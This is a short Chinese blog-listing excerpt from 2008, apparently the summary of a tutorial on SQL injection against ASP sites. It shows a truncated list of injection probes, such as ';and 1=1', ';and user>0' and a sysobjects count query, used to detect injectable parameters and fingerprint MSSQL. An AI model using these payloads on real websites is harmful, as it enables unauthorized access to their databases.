2008年1月3日
全面了解ASP注入方法
摘要： >1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.注入参数是字符 'and [查询条件] and ''=' 4.搜索时没过滤参数的 'and [查询条件] and '%25'=' 5.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select cou... 阅读全文
posted @ 2008-01-03 14:38 快乐就好 阅读(515) 评论(0) 推荐(0)